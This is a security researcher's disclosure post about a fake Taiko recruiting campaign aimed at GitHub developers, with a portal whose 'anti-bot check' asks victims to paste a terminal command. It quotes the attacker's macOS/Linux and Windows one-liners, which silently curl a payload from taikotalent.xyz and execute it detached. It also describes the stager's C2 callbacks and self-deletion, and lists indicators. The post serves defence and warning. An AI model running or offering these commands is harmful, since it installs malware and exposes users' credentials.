Four days after I reported it to AWS, the trojan is still being served.

On October 5, 2026 I received a recruiting email that looked like every other recruiter email — except it ended with a step no legitimate hiring process has ever asked me for: opening my terminal and pasting a command to "verify I'm not a bot."

This is the write-up of the campaign, because the payload is still live as of today (October 9), and because the social-engineering pattern — a job application that ends in Terminal — is the part your coworkers, your juniors and your family will fall for.

The lure

The email claimed to be from "Joseph Quintana, Talent" at Taiko — the Ethereum rollup company — offering a Software Engineer role on based-rollup / ZK proving / L2 systems. It referenced my GitHub profile, it was polite, specific and short. The sending address was josephquintana@hr.taikotalent.xyz.

Two details matter here:

  1. Taiko's real domain is taiko.xyz and their real recruiting runs through careers@taiko.xyz. There is no reference to taikotalent.xyz anywhere on the real site.
  2. taikotalent.xyz was registered eight days before the email arrived (2026-09-27, per RDAP).

The email was sent through Resend and relayed through Amazon SES in sa-east-1 (sending IP 23.249.215.58, d215-58.smtp-out.sa-east-1.amazonses.com). SPF passed. DKIM passed — twice (Resend's signature and amazonses.com's). This is the part defenders need to internalize: authentication passes only prove the sender controls an 8-day-old domain. They say nothing about intent. If your mail filter scores "SPF/DKIM pass" as "safe," this campaign sails through it.

The target profile: people with public GitHub profiles. The email opens with "I came across your GitHub profile" — the campaign is harvesting open-source developers specifically.

The portal

The link goes to a "Private invitation" single-page app gated by per-recipient Ref- codes. Every step of the form posts to /track-activity, which exfiltrates a deviceInfo fingerprint — browser, screen, timezone — on every interaction. The form collects full name, email and GitHub username.

Then comes the page this whole campaign was built for: "Anti-bot check with Terminal."

It instructs you to paste one of these into your own terminal:

# macOS / Linux (trimmed) bash -c 'perl -MPOSIX -e"fork&&exit;POSIX::setsid;fork&&exit;exec@ARGV" bash -c "curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m" &>/dev/null& ...' 
:: Windows (trimmed) start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'

Every component of that command is a red flag wearing a trench coat:

  • perl -MPOSIX ... fork&&exit — a double-fork daemonization: the process detaches from your terminal and survives it closing
  • curl -ks — the -k disables TLS certificate verification
  • &>/dev/null& — silences all output so nothing appears on screen
  • start -WindowStyle Hidden (Windows) — runs the downloader in a hidden window

A job application does not need your terminal. A job application has never needed your terminal. That single sentence is the whole defense, and it's the one to repeat to your team.

The payload

I downloaded verify_m for analysis and never executed it — the methodology throughout was non-destructive: fetch, hash, read. It's a 49,916-byte Bash stager that calls itself deepfake_guard:

  1. Re-launches itself detached via nohup
  2. Reports "install success" to a command-and-control endpoint: https://api.gaganata.ink/guard-launcher-result, with a fallback at https://api.fallgganata.ink
  3. Decodes an embedded base64 second stage to /var/tmp/.kdm.XXXXXX and executes it with the C2 endpoints exported as environment variables
  4. Deletes itself: launcher, status file and the /var/tmp artifacts — an anti-forensics loop that retries 60 times

The second stage is where the actual payload lives; the stager is just the delivery van, and it burns the van after delivery.

Status today: still live

I re-checked the infrastructure on October 9, 2026:

Component Status
https://taikotalent.xyz/ (portal) Times out
https://taikotalent.xyz/verify_m (trojan) HTTP 200 — serving, 49,916 bytes
api.gaganata.ink / api.fallgganata.ink (C2) 404 (Cloudflare-fronted)
hr.taikotalent.xyz No DNS record anymore

The payload being served today is byte-identical to the one I quarantined on October 5 — SHA-256 c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d. The campaign infrastructure is rotting but the weapon is still on the table.

What was done about it

  • October 5: full report to AWS Trust & Safety (case P01M4696RCMDN90PYQGW7NJHGT0 / 179121234700301), to abuse@resend.com (the sending platform), and to careers@taiko.xyz — the impersonated company — recommending a public warning from their side.
  • October 6: 17-page forensic report generated (IoCs, full headers, timeline, SHA-256 of the 10 evidence artifacts): d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c.
  • October 7: AWS Trust & Safety responded that SES abuse cases go to email-abuse@amazon.com — resubmitted there with the live-payload status.
  • Today: this disclosure.

The complete IoC set, hashes and attack chain are published here:

Full IoC list and evidence — public gist

The gist contains every indicator: domains, sending IP, the Ref-code format, payload URLs, both C2 endpoints, the /var/tmp/.kdm.* second-stage path, and the SHA-256 hashes of the payload and the full evidence chain.

How to check if you (or your people) were hit

  • Received anything from *@hr.taikotalent.xyz or about an "Engineering opening — Taiko"? Check mail logs — it went through Resend + Amazon SES.
  • Ran the "anti-bot check"? Look for: verify_m / verify_w / v.cmd files, /var/tmp/.kdm.* remnants (the self-delete loop makes absence of evidence weaker), processes detached via a perl double-fork, and egress to *.gaganata.ink / *.fallgganata.ink.
  • Block the IoC domains at your resolver / egress now — the list is in the gist.
  • Credential rotation for anything that shared the machine: GitHub PAT, cloud keys, browser sessions. If the second stage is a credential stealer (unverified — I did not detonate), assume exposure.

The takeaway worth repeating

The technical chain here is unremarkable — domain, mail relay, SPA, curl-and-exec. What makes it work is the context: a job offer, aimed at developers, during a period when many of us actually are getting recruiter email about ZK and rollup work.

The rule to broadcast is one sentence long:

A legitimate job application will never ask you to open your terminal.

Analysis and disclosure by Edison Flores (AliceLabs). All evidence handled non-destructively — the payload was downloaded for hashing only and never executed. The full forensic report (17 pages, SHA-256 d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c) is available to defenders, registries and journalists on request. If you're from a mail platform, registry or threat-intel team, the gist has everything you need.

Update — 2026-10-09: mirrors & infrastructure findings

The payload is still being served as I publish this update (00:46 UTC: HTTP 200, 49,916 bytes, SHA-256 unchanged — day 4 after the AWS abuse report).

Full disclosure is now mirrored in more places, including a proper IoC repository with a YARA rule and MITRE ATT&CK mapping:

Infrastructure findings from RDAP/DNS: both taikotalent.xyz and the C2 domain gaganata.ink were registered through NameCheap; the payload is served from Shock Hosting (193.160.32.10); the C2 sits behind Cloudflare. Abuse reports have been filed with all three providers, plus APWG (blocklist intake).

Reminder — the one-line defense: a legitimate recruiter will never ask you to paste a command into your terminal.